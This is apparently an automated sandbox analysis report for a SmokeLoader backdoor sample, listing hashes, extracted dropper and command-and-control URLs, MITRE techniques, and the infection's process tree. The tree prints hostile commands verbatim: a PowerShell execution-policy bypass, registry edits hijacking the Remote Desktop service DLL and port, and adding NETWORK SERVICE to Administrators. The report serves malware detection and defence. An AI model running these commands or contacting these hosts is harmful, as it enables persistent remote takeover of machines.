smokeloader | 2d320ee3c680e6b5c2cbf5a781895dac33cf08190e3db8805dd9775ec4bd87d3

Analysis

max time kernel
151s
max time network
157s
platform
windows10_x64
resource
win10-en-20210920
submitted
20-10-2021 06:21

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Report Analysis Logs

General

Target

4d093da4d7c10d4b14a54f4793fee6ce.exe
Size

233KB
MD5

4d093da4d7c10d4b14a54f4793fee6ce
SHA1

1d726d4ed85efb342065713c40f968f660029fe8
SHA256

2d320ee3c680e6b5c2cbf5a781895dac33cf08190e3db8805dd9775ec4bd87d3
SHA512

6ca23d7dca9ad314acc54f04186b0eaa96272a76a209c39edd897f27822c9e65a9e20f5736dbab5c06e7754fb442094dae88e178be1780670ba155d622b404a6

Score

10^/10

smokeloader backdoor persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
48	3136	powershell.exe
50	3136	powershell.exe
51	3136	powershell.exe
52	3136	powershell.exe
54	3136	powershell.exe
56	3136	powershell.exe
58	3136	powershell.exe
60	3136	powershell.exe
62	3136	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
3716	93B0.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0003000000015296-366.dat	upx
behavioral2/files/0x00020000000152d8-367.dat	upx

Deletes itself 1 IoCs

pid	Process
3028	Process not Found

Loads dropped DLL 2 IoCs

pid	Process
3396	Process not Found
3396	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIECB0.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIEC8E.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIECC0.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_pvfy4sw5.244.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIECD1.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_m14qlsb2.zpb.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIECAF.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4d093da4d7c10d4b14a54f4793fee6ce.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4d093da4d7c10d4b14a54f4793fee6ce.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4d093da4d7c10d4b14a54f4793fee6ce.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = a63109125baed701	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1164	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	50	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	51	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	52	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	54	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2180	4d093da4d7c10d4b14a54f4793fee6ce.exe
2180	4d093da4d7c10d4b14a54f4793fee6ce.exe
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found
3028	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3028	Process not Found

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
628	Process not Found
628	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2180	4d093da4d7c10d4b14a54f4793fee6ce.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3352	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeIncreaseQuotaPrivilege	2512	powershell.exe
Token: SeSecurityPrivilege	2512	powershell.exe
Token: SeTakeOwnershipPrivilege	2512	powershell.exe
Token: SeLoadDriverPrivilege	2512	powershell.exe
Token: SeSystemProfilePrivilege	2512	powershell.exe
Token: SeSystemtimePrivilege	2512	powershell.exe
Token: SeProfSingleProcessPrivilege	2512	powershell.exe
Token: SeIncBasePriorityPrivilege	2512	powershell.exe
Token: SeCreatePagefilePrivilege	2512	powershell.exe
Token: SeBackupPrivilege	2512	powershell.exe
Token: SeRestorePrivilege	2512	powershell.exe
Token: SeShutdownPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeSystemEnvironmentPrivilege	2512	powershell.exe
Token: SeRemoteShutdownPrivilege	2512	powershell.exe
Token: SeUndockPrivilege	2512	powershell.exe
Token: SeManageVolumePrivilege	2512	powershell.exe
Token: 33	2512	powershell.exe
Token: 34	2512	powershell.exe
Token: 35	2512	powershell.exe
Token: 36	2512	powershell.exe
Token: SeDebugPrivilege	1412	powershell.exe
Token: SeIncreaseQuotaPrivilege	1412	powershell.exe
Token: SeSecurityPrivilege	1412	powershell.exe
Token: SeTakeOwnershipPrivilege	1412	powershell.exe
Token: SeLoadDriverPrivilege	1412	powershell.exe
Token: SeSystemProfilePrivilege	1412	powershell.exe
Token: SeSystemtimePrivilege	1412	powershell.exe
Token: SeProfSingleProcessPrivilege	1412	powershell.exe
Token: SeIncBasePriorityPrivilege	1412	powershell.exe
Token: SeCreatePagefilePrivilege	1412	powershell.exe
Token: SeBackupPrivilege	1412	powershell.exe
Token: SeRestorePrivilege	1412	powershell.exe
Token: SeShutdownPrivilege	1412	powershell.exe
Token: SeDebugPrivilege	1412	powershell.exe
Token: SeSystemEnvironmentPrivilege	1412	powershell.exe
Token: SeRemoteShutdownPrivilege	1412	powershell.exe
Token: SeUndockPrivilege	1412	powershell.exe
Token: SeManageVolumePrivilege	1412	powershell.exe
Token: 33	1412	powershell.exe
Token: 34	1412	powershell.exe
Token: 35	1412	powershell.exe
Token: 36	1412	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeIncreaseQuotaPrivilege	3496	powershell.exe
Token: SeSecurityPrivilege	3496	powershell.exe
Token: SeTakeOwnershipPrivilege	3496	powershell.exe
Token: SeLoadDriverPrivilege	3496	powershell.exe
Token: SeSystemProfilePrivilege	3496	powershell.exe
Token: SeSystemtimePrivilege	3496	powershell.exe
Token: SeProfSingleProcessPrivilege	3496	powershell.exe
Token: SeIncBasePriorityPrivilege	3496	powershell.exe
Token: SeCreatePagefilePrivilege	3496	powershell.exe
Token: SeBackupPrivilege	3496	powershell.exe
Token: SeRestorePrivilege	3496	powershell.exe
Token: SeShutdownPrivilege	3496	powershell.exe
Token: SeDebugPrivilege	3496	powershell.exe
Token: SeSystemEnvironmentPrivilege	3496	powershell.exe
Token: SeRemoteShutdownPrivilege	3496	powershell.exe
Token: SeUndockPrivilege	3496	powershell.exe
Token: SeManageVolumePrivilege	3496	powershell.exe
Token: 33	3496	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3028	Process not Found
3028	Process not Found

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
3028	Process not Found
3028	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3028 wrote to memory of 3716	3028	Process not Found	71
PID 3028 wrote to memory of 3716	3028	Process not Found	71
PID 3716 wrote to memory of 3352	3716	93B0.exe	73
PID 3716 wrote to memory of 3352	3716	93B0.exe	73
PID 3352 wrote to memory of 1136	3352	powershell.exe	75
PID 3352 wrote to memory of 1136	3352	powershell.exe	75
PID 1136 wrote to memory of 836	1136	csc.exe	76
PID 1136 wrote to memory of 836	1136	csc.exe	76
PID 3352 wrote to memory of 2512	3352	powershell.exe	77
PID 3352 wrote to memory of 2512	3352	powershell.exe	77
PID 3352 wrote to memory of 1412	3352	powershell.exe	80
PID 3352 wrote to memory of 1412	3352	powershell.exe	80
PID 3352 wrote to memory of 3496	3352	powershell.exe	82
PID 3352 wrote to memory of 3496	3352	powershell.exe	82
PID 3352 wrote to memory of 1620	3352	powershell.exe	86
PID 3352 wrote to memory of 1620	3352	powershell.exe	86
PID 3352 wrote to memory of 1164	3352	powershell.exe	87
PID 3352 wrote to memory of 1164	3352	powershell.exe	87
PID 3352 wrote to memory of 1716	3352	powershell.exe	88
PID 3352 wrote to memory of 1716	3352	powershell.exe	88
PID 3352 wrote to memory of 3792	3352	powershell.exe	89
PID 3352 wrote to memory of 3792	3352	powershell.exe	89
PID 3792 wrote to memory of 3768	3792	net.exe	90
PID 3792 wrote to memory of 3768	3792	net.exe	90
PID 3352 wrote to memory of 348	3352	powershell.exe	91
PID 3352 wrote to memory of 348	3352	powershell.exe	91
PID 348 wrote to memory of 3652	348	cmd.exe	92
PID 348 wrote to memory of 3652	348	cmd.exe	92
PID 3652 wrote to memory of 3592	3652	cmd.exe	93
PID 3652 wrote to memory of 3592	3652	cmd.exe	93
PID 3592 wrote to memory of 3208	3592	net.exe	94
PID 3592 wrote to memory of 3208	3592	net.exe	94
PID 3352 wrote to memory of 3648	3352	powershell.exe	95
PID 3352 wrote to memory of 3648	3352	powershell.exe	95
PID 3648 wrote to memory of 2092	3648	cmd.exe	96
PID 3648 wrote to memory of 2092	3648	cmd.exe	96
PID 2092 wrote to memory of 2136	2092	cmd.exe	97
PID 2092 wrote to memory of 2136	2092	cmd.exe	97
PID 2136 wrote to memory of 2988	2136	net.exe	98
PID 2136 wrote to memory of 2988	2136	net.exe	98
PID 3136 wrote to memory of 836	3136	cmd.exe	102
PID 3136 wrote to memory of 836	3136	cmd.exe	102
PID 836 wrote to memory of 1136	836	net.exe	103
PID 836 wrote to memory of 1136	836	net.exe	103
PID 404 wrote to memory of 2512	404	cmd.exe	106
PID 404 wrote to memory of 2512	404	cmd.exe	106
PID 2512 wrote to memory of 860	2512	net.exe	107
PID 2512 wrote to memory of 860	2512	net.exe	107
PID 1532 wrote to memory of 4080	1532	cmd.exe	110
PID 1532 wrote to memory of 4080	1532	cmd.exe	110
PID 4080 wrote to memory of 2312	4080	net.exe	111
PID 4080 wrote to memory of 2312	4080	net.exe	111
PID 1824 wrote to memory of 2240	1824	cmd.exe	114
PID 1824 wrote to memory of 2240	1824	cmd.exe	114
PID 2240 wrote to memory of 1692	2240	net.exe	115
PID 2240 wrote to memory of 1692	2240	net.exe	115
PID 1924 wrote to memory of 3284	1924	cmd.exe	118
PID 1924 wrote to memory of 3284	1924	cmd.exe	118
PID 3284 wrote to memory of 2164	3284	net.exe	119
PID 3284 wrote to memory of 2164	3284	net.exe	119
PID 316 wrote to memory of 4088	316	cmd.exe	122
PID 316 wrote to memory of 4088	316	cmd.exe	122
PID 4088 wrote to memory of 4032	4088	net.exe	123
PID 4088 wrote to memory of 4032	4088	net.exe	123

C:\Users\Admin\AppData\Local\Temp\4d093da4d7c10d4b14a54f4793fee6ce.exe
"C:\Users\Admin\AppData\Local\Temp\4d093da4d7c10d4b14a54f4793fee6ce.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2180

C:\Users\Admin\AppData\Local\Temp\93B0.exe
C:\Users\Admin\AppData\Local\Temp\93B0.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3352
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zr25ba0j\zr25ba0j.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1136
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESABCC.tmp" "c:\Users\Admin\AppData\Local\Temp\zr25ba0j\CSCA8357C9483DE41CCBAB4D0DC3869C74B.TMP"
      4⤵
      PID:836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3496
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1620
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1164
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1716
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3792
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3768
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:348
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3652
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3592
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3208
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3648
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2092
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2136
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2988
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:3960
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1704

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3136
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:836
